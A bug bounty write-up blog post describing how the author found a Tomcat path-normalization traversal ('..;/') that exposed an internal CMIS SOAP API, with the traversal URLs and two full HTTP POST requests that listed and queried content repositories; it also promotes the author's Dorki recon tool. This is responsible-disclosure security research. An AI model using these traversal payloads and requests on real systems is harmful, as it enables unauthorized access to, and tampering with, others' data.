How I Discovered a Critical Path Traversal Vulnerability Using Dorki

Blake JacobsBlake Jacobs
6 min read

In this article, I detail my journey of discovering a critical vulnerability using Secondary Context Path Traversal. By leveraging Dorki for passive reconnaissance, I identified an Apache Tomcat-hosted web app and exploited its path normalization flaw. This led to the discovery of a SOAP API for Content Management Interoperability Services (CMIS), ultimately exposing admin credentials and allowing full access to content management repositories. The vulnerability was reported and accepted, resulting in a successful bug bounty.

The day started off lurking through the interwebs trying to find some untouchable assets to hack on, my mind was set on finding something with a Critical impact so decided to stick with my favourite attack vector which is Secondary Context Path Traversal, so I decided to perform my passive reconnaissance with Dorki, if you are not aware of what Dorki is visit our website to learn more.

I used a very simple Google Dork which ran across 100s of search engines and filtered out all the non-related hosts with a simple search using the url: keyword.

site:example.com

Before we continue, I want to explain that the great thing about Dorki is that you can combine manual and automated methods to find interesting hosts. Please read this article to learn more about using both methods to expand the attack surface, let's continue.

I reviewed page after page, testing each functionality and reading JavaScript to understand how things worked. I discovered a very interesting asset and the first thing I always try is traversing back multiple directories and observing the responses for the slightest change. I found that traversing back 3 directories for this particular host caused a 400 Bad request which typically means we are traversing too far down the internal web root.

https://www.example.com/de/..;/..;/..;/

Seeing this 400 Bad Request page tells us that the web app is hosted on an Apache Tomcat instance. This means we can't use URL-encoded traversals like ..%2f because Apache has AllowEncodedSlashes turned off by default. For more information, read here. This is worth noting in case ..;/ fails, which it didn't.

Going forward a directory led to a 404 page

https://www.example.com/de/..;/..;/FUZZ

This made me very excited, so I decided to run dirsearch and found some interesting routes. This discovery released a lot of dopamine, making me jump up in excitement. However, I quickly calmed down because we didn't have anything impactful yet. I tested each directory to see if it was accessible in the web root, but it wasn't. This indicates that the path is internal and we just broke their path normalization.

The path that I focused on was /services

https://www.example.com/de/..;/..;/services

I navigated to /services/cmis?wsdl and noticed that the response was a huge amount of XML and I had no idea what it was, after a quick Google search I noticed that it was a Soap API for Content Management Interoperability Services which is a service used for accessing and managing content stored in various repositories. CMIS, or Content Management Interoperability Services, is a standard that allows different content management systems to interoperate. This means that applications can consistently interact with different CMSs, using a common set of operations.

Here are the key points to understand about CMIS and its SOAP API:

  1. Standard Protocol: CMIS defines a standard domain model and set of bindings for interactions between a CMS and external applications. The goal is to enable information sharing across various content management systems.

  2. SOAP Binding: The XML you encountered is part of the SOAP (Simple Object Access Protocol) binding for CMIS. SOAP is a protocol used for exchanging structured information in the implementation of web services in computer networks. In the context of CMIS, it allows for standardized communication between clients and servers.

  3. CMIS Operations: The SOAP API provides various operations for interacting with the content repository, including:

    • Repository Services: To get repository information and capabilities.

    • Navigation Services: To navigate through the folder structure.

    • Object Services: To create, read, update, and delete documents and folders.

    • Discovery Services: To perform queries and retrieve search results.

    • Versioning Services: To manage document versions.

    • Multi-filing Services: To manage document filing in multiple folders.

    • Relationships Services: To manage relationships between documents.

    • Policy Services: To manage policies associated with documents.

    • ACL Services: To manage access control lists (ACLs).

  4. Interoperability: One of the main advantages of CMIS is that it enables interoperability between different CMSs, which means you can build applications that work across multiple platforms without needing to tailor them to each specific CMS.

  5. Use Cases: CMIS can be used for a variety of content management tasks, such as document management, digital asset management, web content management, and records management.

In summary, the large XML response I encountered is the WSDL (Web Services Description Language) document for the CMIS SOAP API, which provides a standardized way to interact with content management systems.

My mind was blown away. I had never seen this before. As I explored further, I read about how CMIS works by reading their docs http://docs.oasis-open.org/cmis/CMIS/v1.1/errata01/os/examples/webservices/, I stumbled upon something astonishing: the admin password for all the content management repositories. This discovery opened up a new world of possibilities and concerns. I did some more research on how to interact with these services and found a way to create a document and change the permissions for all the documents or even delete sensitive information other words If I were a threat actor I could have had complete access to multiple blog sites with admin privileges.

Here was the request that accessed all the repositories:

POST /de/..;/..;/services/RepositoryService HTTP/2
Host: www.example.com
Sec-Ch-Ua: "Not-A.Brand";v="99", "Chromium";v="124"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Type: multipart/related;start="<rootpart*ce6e6255-10b4-4543-99bc-c588cbd95d35@example.jaxws.sun.com>";type="application/xop+xml";boundary="uuid:ce6e6255-10b4-4543-99bc-c588cbd95d35";start-info="text/xml"
Content-Length: 610

--uuid:ce6e6255-10b4-4543-99bc-c588cbd95d35
Content-Id: <rootpart*ce6e6255-10b4-4543-99bc-c588cbd95d35@example.jaxws.sun.com>
Content-Type: application/xop+xml;charset=utf-8;type="text/xml"
Content-Transfer-Encoding: binary

<?xml version="1.0" encoding="UTF-8"?>
<S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
     <S:Body>
        <getRepositories xmlns="http://docs.oasis-open.org/ns/cmis/messaging/200908/" xmlns:ns2="http://docs.oasis-open.org/ns/cmis/core/200908/">
        </getRepositories>
    </S:Body>
</S:Envelope>
--uuid:ce6e6255-10b4-4543-99bc-c588cbd95d35--

And here was the request that allowed me to query all the folders for 100 results.

POST /de/..;/..;/services/DiscoveryService HTTP/2
Host: www.example.com
Sec-Ch-Ua: "Not-A.Brand";v="99", "Chromium";v="124"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Type: multipart/related;start="<rootpart*344514b6-4b91-429c-aa44-a18e0236a704@example.jaxws.sun.com>";type="application/xop+xml";boundary="uuid:344514b6-4b91-429c-aa44-a18e0236a704";start-info="text/xml"
Soapaction: ""
User-Agent: JAX-WS RI 2.1.7-b01-
Host: www.example.com:8080
Content-Length: 948

--uuid:344514b6-4b91-429c-aa44-a18e0236a704
Content-Id: <rootpart*344514b6-4b91-429c-aa44-a18e0236a704@example.jaxws.sun.com>
Content-Type: application/xop+xml;charset=utf-8;type="text/xml"
Content-Transfer-Encoding: binary

<?xml version="1.0" encoding="UTF-8"?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
    <S:Body>
        <query xmlns="http://docs.oasis-open.org/ns/cmis/messaging/200908/" xmlns:ns2="http://docs.oasis-open.org/ns/cmis/core/200908/">
            <repositoryId>repository-is-redacted</repositoryId>
            <statement>SELECT * from cmis:document WHERE IN_FOLDER('100')</statement>
            <searchAllVersions>false</searchAllVersions>
            <includeAllowableActions>true</includeAllowableActions>
            <includeRelationships>none</includeRelationships>
            <skipCount>0</skipCount>
        </query>
    </S:Body>
</S:Envelope>
--uuid:344514b6-4b91-429c-aa44-a18e0236a704--

This was already enough to provide all the additional impact needed to report this bug.

Timeline:

  • Reported on: 22/05/2024

  • The team Changed the Status to Triage: 22/05/2024

  • It got accepted 6 days later followed by a bounty $

I hope you enjoyed this post. As always, don't forget to like this blog post and support us on Twitter. If you haven't checked out Dorki, be sure to try it out for free.

Happy hacking folks.

1
Subscribe to my newsletter

Read articles from Blake Jacobs directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Blake Jacobs
Blake Jacobs

I am a part-time developer for Pentesterlab, a Penetration tester for cobalt and a Bug bounty hunter at night. I love creating cool security tools in Rust and developing web applications for the cybersecurity community.